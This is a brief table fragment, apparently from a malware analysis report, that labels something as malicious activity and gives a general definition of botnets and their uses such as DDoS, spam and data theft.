| Verdict: | Malicious activity |
| Threats: | A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. |
